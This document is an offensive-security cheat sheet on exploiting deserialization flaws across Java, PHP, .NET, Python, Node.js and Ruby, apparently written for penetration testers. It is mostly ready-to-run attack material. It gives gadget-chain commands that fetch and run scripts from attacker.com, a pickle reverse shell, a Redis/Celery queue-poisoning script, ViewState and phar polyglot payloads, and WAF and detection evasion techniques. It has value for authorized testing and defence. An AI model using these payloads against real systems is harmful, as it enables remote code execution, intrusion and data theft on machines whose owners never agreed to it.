Offensive Deserialization

Deserialization vulnerabilities arise when an application reconstructs objects from serialized byte streams without validating the type, integrity, or origin of the data. Object reconstruction triggers constructors, finalizers, and language-specific magic methods, so an attacker who controls the serialized input often achieves remote code execution before any application-level validation runs.

Quick Workflow

1. Enumerate every entry point accepting opaque binary or encoded data -- cookies, HTTP bodies, headers, message queue messages, file uploads, GraphQL custom scalars, gRPC fields, JMX/RMI endpoints.
2. Fingerprint the serialization format via magic bytes, content-type headers, and error behavior (see Recognition Signatures).
3. Determine the server-side language and framework version from error pages, HTTP headers, or source code.
4. Select candidate gadget chains matching the target classpath or installed packages. Generate payloads with ysoserial, phpggc, ysoserial.net, or manual construction.
5. Deliver through the identified entry point. Start with DNS-only or sleep-based proof to confirm execution without destructive side effects.
6. Escalate from proof-of-concept to the engagement objective with authorization.
7. Document the full chain: entry point, format, gadget chain, library versions, proof.

Recognition Signatures

Java Deserialization

ObjectInputStream.readObject() instantiates arbitrary classes present on the classpath. Decades of library code provide usable gadget chains.

Identifying Sinks

// Direct ObjectInputStream usage
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject();

// XMLDecoder -- equally dangerous, often overlooked
XMLDecoder decoder = new XMLDecoder(inputStream);
Object obj = decoder.readObject();

// XStream without allowlist
XStream xstream = new XStream();
Object obj = xstream.fromXML(userInput);

// Jackson polymorphic typing -- CVE-2017-7525 and successors
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();

// Jackson @JsonTypeInfo on base class
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
public abstract class BaseCommand { }

// JMX/RMI endpoints -- default port 1099, often unauthenticated

serialVersionUID and Classpath Constraints

Every serializable Java class carries a serialVersionUID. A mismatch causes InvalidClassException before any gadget logic executes. Extract the server's UID from error messages or decompiled JARs, then rebuild the payload with ysoserial's source. The UID often changes only on major releases, so brute-forcing common versions is feasible when the exact version is unknown.

ysoserial Gadget Chains

Match the chain to libraries present on the target classpath.

# CommonsCollections -- most widely applicable
# CC1: commons-collections 3.1, JDK < 8u72
java -jar ysoserial.jar CommonsCollections1 'curl http://attacker.com/cb' > payload.bin
# CC5: later JDK versions where CC1 is patched
java -jar ysoserial.jar CommonsCollections5 'curl http://attacker.com/cb' > payload.bin
# CC7: Hashtable entry point, bypasses some ObjectInputFilter rules
java -jar ysoserial.jar CommonsCollections7 'id > /tmp/proof.txt' > payload.bin

# Spring chain -- requires spring-core + spring-beans
java -jar ysoserial.jar Spring1 'wget http://attacker.com/s.sh -O /tmp/s.sh' > payload.bin
# Hibernate chain -- requires hibernate-core
java -jar ysoserial.jar Hibernate1 'bash -c {echo,BASE64}|{base64,-d}|bash' > payload.bin
# CommonsBeanutils -- present in many apps via shaded dependencies
java -jar ysoserial.jar CommonsBeanutils1 'ping -c 3 attacker.com' > payload.bin

# URLDNS -- DNS lookup only, no RCE, safe for detection confirmation
java -jar ysoserial.jar URLDNS 'http://deser-confirm.attacker.com' > payload.bin

# JRMPClient -- redirect deser to attacker-controlled JRMP listener
java -jar ysoserial.jar JRMPClient 'attacker.com:1099' > payload.bin
# On attacker host, serve secondary payload via JRMP listener
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 'id'

JMX/RMI Deserialization

JMX and RMI registries accept serialized objects over the wire and are frequently exposed without authentication on internal networks.

# Scan for RMI registries
nmap -sV -p 1099,1098,9010,9011 --script rmi-dumpregistry TARGET

# marshalsec: exploit RMI/JNDI
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer \
  "http://attacker.com:8080/#ExploitClass" 1099

Jackson Polymorphic Typing

When enableDefaultTyping() or @JsonTypeInfo(use = Id.CLASS) is active, you supply a JSON array naming the class to instantiate.

["com.sun.rowset.JdbcRowSetImpl",
 {"dataSourceName":"ldap://attacker.com:1389/Exploit","autoCommit":true}]

Jackson maintainers continuously add classes to a denylist. Check the target's version against known bypass classes: org.apache.ibatis.datasource.jndi.JndiDataSourceFactory, com.caucho.config.types.ResourceRef, and similar JNDI-capable beans.

PHP Deserialization

unserialize() instantiates objects and invokes magic methods (__wakeup, __destruct, __toString) during reconstruction. The phar:// stream wrapper triggers deserialization without an explicit unserialize() call.

Identifying Sinks

// Direct unserialize
$obj = unserialize($userInput);

// phar:// wrapper -- any file operation on a phar:// path is a sink
file_exists("phar://uploads/avatar.jpg");
is_dir("phar://" . $userControlledPath);
// Triggering functions: file_exists, is_dir, is_file, file_get_contents,
// fopen, fileatime, filectime, filemtime, filesize, copy, rename, unlink,
// stat, lstat, getimagesize, exif_read_data, hash_file, md5_file, sha1_file

phpggc Gadget Chains

phpggc -l  # List all available chains

# Laravel RCE -- PendingBroadcast + Dispatcher, works 5.5 through 9.x
phpggc Laravel/RCE1 system 'id' -b        # -b = base64
phpggc Laravel/RCE10 system 'cat /etc/passwd' -s  # -s = serialized

# Symfony RCE -- targets process component
phpggc Symfony/RCE4 exec 'curl http://attacker.com/s.sh|bash' -b
# Monolog RCE -- present in most Composer projects
phpggc Monolog/RCE1 system 'whoami' -b
# Guzzle / WordPress chains
phpggc Guzzle/RCE1 system 'id' -b
phpggc WordPress/RCE1 system 'id' -b

# PHAR output instead of raw serialized data
phpggc Laravel/RCE1 system 'id' -p phar -o exploit.phar
# PHAR polyglot disguised as JPEG
phpggc Laravel/RCE1 system 'id' -p phar -pp header.jpg -o exploit.jpg

phar:// Exploitation

The phar:// wrapper deserializes the metadata section of a PHAR archive on any file operation. The sink is a file function, not unserialize(), so it evades many audits.

// Build a malicious PHAR (php.ini: phar.readonly = 0)
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$object = new VulnerableClass();
$object->command = 'id';
$phar->setMetadata($object);
$phar->stopBuffering();

// Create a polyglot by prepending a JPEG header
$jpegHeader = file_get_contents('legitimate.jpg');
file_put_contents('exploit.jpg', $jpegHeader . file_get_contents('exploit.phar'));

Upload the polyglot as an image, then trigger a file operation referencing phar://uploads/exploit.jpg/test.txt.

.NET Deserialization

BinaryFormatter is the most dangerous .NET serializer. Microsoft has formally deprecated it, but legacy applications and internal tools still use it.

Identifying Sinks

// BinaryFormatter -- deprecated, always dangerous
BinaryFormatter formatter = new BinaryFormatter();
object obj = formatter.Deserialize(stream);

// SoapFormatter / NetDataContractSerializer -- equally dangerous, less common

// LosFormatter -- used in ViewState
LosFormatter los = new LosFormatter();
object obj = los.Deserialize(viewStateString);

// Json.NET with TypeNameHandling != None
JsonConvert.DeserializeObject<object>(json, new JsonSerializerSettings {
    TypeNameHandling = TypeNameHandling.All  // or Objects, Arrays, Auto
});

ysoserial.net Payloads

# TypeConfuseDelegate -- broad .NET coverage
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "ping attacker.com"
# WindowsIdentity -- when TypeConfuseDelegate is blocked
ysoserial.exe -g WindowsIdentity -f BinaryFormatter -c "certutil -urlcache -split -f http://attacker.com/s.exe C:\Temp\s.exe"
# TextFormattingRunProperties -- targets WPF/XAML
ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "calc.exe"
# PSObject -- PowerShell-specific
ysoserial.exe -g PSObject -f BinaryFormatter -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/ps.ps1')"
# Json.NET TypeNameHandling
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "cmd /c whoami > C:\proof.txt"
# Base64 output for ViewState or cookie injection
ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "ping attacker.com" -o base64

ViewState Exploitation

ASP.NET ViewState is a serialized hidden form field. When MAC validation is disabled or the machine key is known, you inject a gadget chain directly.

# If machine key is known (web.config disclosure, default keys):
ysoserial.exe -p ViewState \
  -g TextFormattingRunProperties \
  -c "powershell -enc BASE64CMD" \
  --validationalg="SHA1" \
  --validationkey="KNOWN_KEY" \
  --generator="GENERATOR_VALUE" \
  --path="/target/page.aspx" \
  --islegacy

Json.NET TypeNameHandling

When TypeNameHandling is not None, the $type property controls instantiation.

{
  "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
  "MethodName": "Start",
  "MethodParameters": {
    "$type": "System.Collections.ArrayList, mscorlib",
    "$values": ["cmd.exe", "/c whoami"]
  },
  "ObjectInstance": {"$type": "System.Diagnostics.Process, System"}
}

Python Deserialization

Python's pickle executes arbitrary code during deserialization through the __reduce__ method. There is no safe way to deserialize untrusted pickle data.

pickle RCE

import pickle, os, base64

class Exploit:
    def __reduce__(self):
        return (os.system, ('curl http://attacker.com/callback',))

payload = pickle.dumps(Exploit())
print(base64.b64encode(payload).decode())

# Reverse shell variant
class ReverseShell:
    def __reduce__(self):
        return (os.system, (
            'python3 -c \'import socket,subprocess,os;'
            's=socket.socket();s.connect(("attacker.com",4444));'
            'os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);'
            'os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])\'',))

# Chained multi-step payload
class ChainedExploit:
    def __reduce__(self):
        return (eval, ("__import__('os').system('wget http://attacker.com/i -O /tmp/i && chmod +x /tmp/i && /tmp/i')",))

yaml.load RCE

yaml.load() without a safe loader permits arbitrary object instantiation.

# Direct command execution
!!python/object/apply:os.system
- "curl http://attacker.com/callback"

# Subprocess with output
!!python/object/apply:subprocess.check_output
- ["id"]

# Find unsafe yaml.load in codebase
grep -rn "yaml\.load\s*(" --include="*.py" /path/to/codebase

Other Python Vectors

import shelve   # Uses pickle internally -- RCE on shelve.open() of attacker-controlled .db
import marshal  # Code object injection via marshal.loads()
import jsonpickle  # Third-party, same risks as pickle via jsonpickle.decode()

Node.js Deserialization

node-serialize IIFE Pattern

The node-serialize library uses _$$ND_FUNC$$_ to mark serialized functions. Appending () creates an IIFE that executes during deserialization.

// Trailing () causes immediate execution
{"role":"_$$ND_FUNC$$_function(){require('child_process').execSync('curl http://attacker.com/cb')}()"}

// Base64-wrapped to avoid character issues
{"p":"_$$ND_FUNC$$_function(){eval(Buffer.from('BASE64PAYLOAD','base64').toString())}()"}

funcster

// funcster deserializes via new Function() constructor
{"__js_function": "function(){return require('child_process').execSync('id').toString()}"}

Look for _$$ND_FUNC$$_ and __js_function in cookies, session tokens, and request bodies.

Ruby Deserialization

Marshal.load and YAML.load both instantiate arbitrary objects and are common sinks in Rails applications.

Marshal.load Gadgets

# Gem::Requirement chain (Ruby 2.x) / Gem::Installer (varies by version)
# ERB template execution chain
require 'erb'
class Exploit
  def initialize
    @template = "<%= `id` %>"
  end
end
payload = Marshal.dump(exploit_chain)
encoded = Base64.strict_encode64(payload)

YAML.load Gadgets

--- !ruby/object:Gem::Requirement
requirements:
  !ruby/object:Gem::Package::TarReader
  io: &1 !ruby/object:Net::BufferedIO
    io: &1 !ruby/object:Gem::Package::TarReader::Entry
       read: 0
       header: "abc"
    debug_output: &1 !ruby/object:Net::WriteAdapter
       socket: &1 !ruby/object:Gem::RequestSet
           sets: !ruby/object:Net::WriteAdapter
               socket: !ruby/module 'Kernel'
               method_id: :system
           git_set: "curl http://attacker.com/callback"
       method_id: :resolve

Rails session cookies before 5.2 used signed but not encrypted Marshal data. With the secret_key_base, you forge session cookies containing gadget chains.

Modern Attack Vectors

Kubernetes Admission Webhooks

Admission controllers deserialize AdmissionReview JSON. A webhook that passes annotation or label values from the admission request to an unsafe deserializer creates a cluster-level RCE vector.

apiVersion: v1
kind: Pod
metadata:
  name: test-pod
  annotations:
    config-data: "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH..."
spec:
  containers:
  - name: test
    image: nginx

The payload executes in the webhook's context, which typically has elevated cluster permissions.

Message Queue Consumers

Applications consuming from Kafka, RabbitMQ, SQS, or Redis often blindly deserialize message payloads. Producer access lets you poison every consumer.

import redis, pickle, os

class Exploit:
    def __reduce__(self):
        return (os.system, ('curl http://attacker.com/callback',))

r = redis.Redis(host='target-redis', port=6379)
r.lpush('celery', pickle.dumps({
    'body': pickle.dumps(Exploit()),
    'content-type': 'application/x-python-serialize',
}))

Serverless Triggers

Serverless functions deserializing event payloads from S3, SNS, or SQS are vulnerable when the event source is attacker-controllable (e.g., public upload).

def handler(event, context):
    obj = s3.get_object(Bucket=event['Records'][0]['s3']['bucket']['name'],
                        Key=event['Records'][0]['s3']['object']['key'])
    data = pickle.loads(obj['Body'].read())  # RCE if attacker uploads to bucket

Evasion Techniques

WAF and Filter Bypass

# Double Base64 -- changes byte pattern
cat payload.bin | base64 | base64 > double_encoded.txt

# Gzip before Base64 -- entirely different pattern
gzip -c payload.bin | base64 > compressed_payload.txt

# URL encoding
cat payload.bin | python3 -c "import sys,urllib.parse; print(urllib.parse.quote(sys.stdin.buffer.read()))"

# Unicode escaping for JSON payloads -- replace ASCII in $type with \uXXXX
# Parameter splitting -- some apps concatenate params before deserializing

Content-Type Manipulation

Switch the delivery format to bypass format-specific WAF rules:

POST /api/endpoint HTTP/1.1
Content-Type: application/x-java-serialized-object

[binary payload]

<?xml version="1.0"?>
<java class="java.beans.XMLDecoder">
  <object class="java.lang.Runtime" method="getRuntime">
    <void method="exec">
      <string>curl http://attacker.com/callback</string>
    </void>
  </object>
</java>

Encoding Layers

Many applications apply multiple encoding layers. Wrap your payload to match:

1. Serialize the gadget chain.
2. Encrypt with a known or leaked key (session cookies, ViewState machine keys).
3. Apply HMAC if integrity checks exist (requires the signing key).
4. Base64 encode, then URL encode if delivered via query parameter.

When you lack the key, look for default keys in framework documentation, key disclosure via path traversal or SSRF, or padding oracle attacks to encrypt without the key.

Detection / Defender View

Understanding defensive detection helps you craft payloads that avoid alerts.

Network signatures defenders match:

• Java magic bytes ac ed 00 05 / Base64 rO0AB in HTTP traffic
• .NET AAEAAAD///// in form fields or cookies
• PHP O:\d+:" in request parameters
• $type keys in JSON bodies (Json.NET)
• _$$ND_FUNC$$_ in Node.js cookies
• !!python/object tags in YAML inputs

Runtime defenses you will encounter:

• Java ObjectInputFilter (JEP 290) -- class allowlists/denylists. Bypass with chains operating entirely within the allowed set.
• .NET SerializationBinder -- restricts type resolution. Bypass with types within the allowed namespace that still enable execution.
• PHP allowed_classes in unserialize() -- limits instantiation. Bypass by using only allowed classes, or reaching the sink through phar:// where the parameter is not applied.
• WAF rules on serialized patterns -- bypass with encoding, compression, or content-type switching.
• RASP -- instruments deserialization calls. Test with URLDNS or sleep payloads first to gauge coverage.

Log artifacts your attack generates:

• ClassNotFoundException / ClassCastException in server logs (failed chain)
• Stack traces referencing ObjectInputStream, readObject, readResolve
• Unusual outbound DNS/HTTP from the application server
• Process spawning from the JVM/interpreter process

Engagement Cheatsheet

Safe confirmation sequence (always start here):

1. Send URLDNS (Java) or DNS-callback command to confirm deserialization occurs.
2. Send sleep/delay payload to confirm code execution without network egress.
3. Escalate to engagement-authorized objective.

Key References

Tools:

• ysoserial (Java): https://github.com/frohoff/ysoserial
• phpggc (PHP): https://github.com/ambionics/phpggc
• ysoserial.net (.NET): https://github.com/pwntester/ysoserial.net
• marshalsec (Java JNDI/RMI): https://github.com/mbechler/marshalsec
• GadgetInspector: https://github.com/JackOfMostTrades/gadgetinspector
• Burp Deserialization Scanner (BApp Store)

Critical CVEs: CVE-2015-4852 (WebLogic T3), CVE-2017-7525 (Jackson defaultTyping), CVE-2017-9805 (Struts 2 XStream), CVE-2018-1000861 (Jenkins Stapler), CVE-2019-2725 (WebLogic XMLDecoder), CVE-2019-6340 (Drupal REST), CVE-2019-18935 (Telerik UI .NET), CVE-2020-9484 (Tomcat session persistence), CVE-2020-36188 (Jackson SSRF via JNDI), CVE-2021-21978 (VMware View Planner), CVE-2023-34362 (MOVEit Transfer), CVE-2023-46604 (ActiveMQ RCE)

Research: "Marshalling Pickles" (Frohoff/Lawrence, AppSecCali 2015), "Friday the 13th: JSON Attacks" (Munoz/Mirosh, BlackHat 2017), "Are You My Type?" (Munoz/Mirosh, .NET serializers), OWASP Deserialization Cheat Sheet, PortSwigger Insecure Deserialization.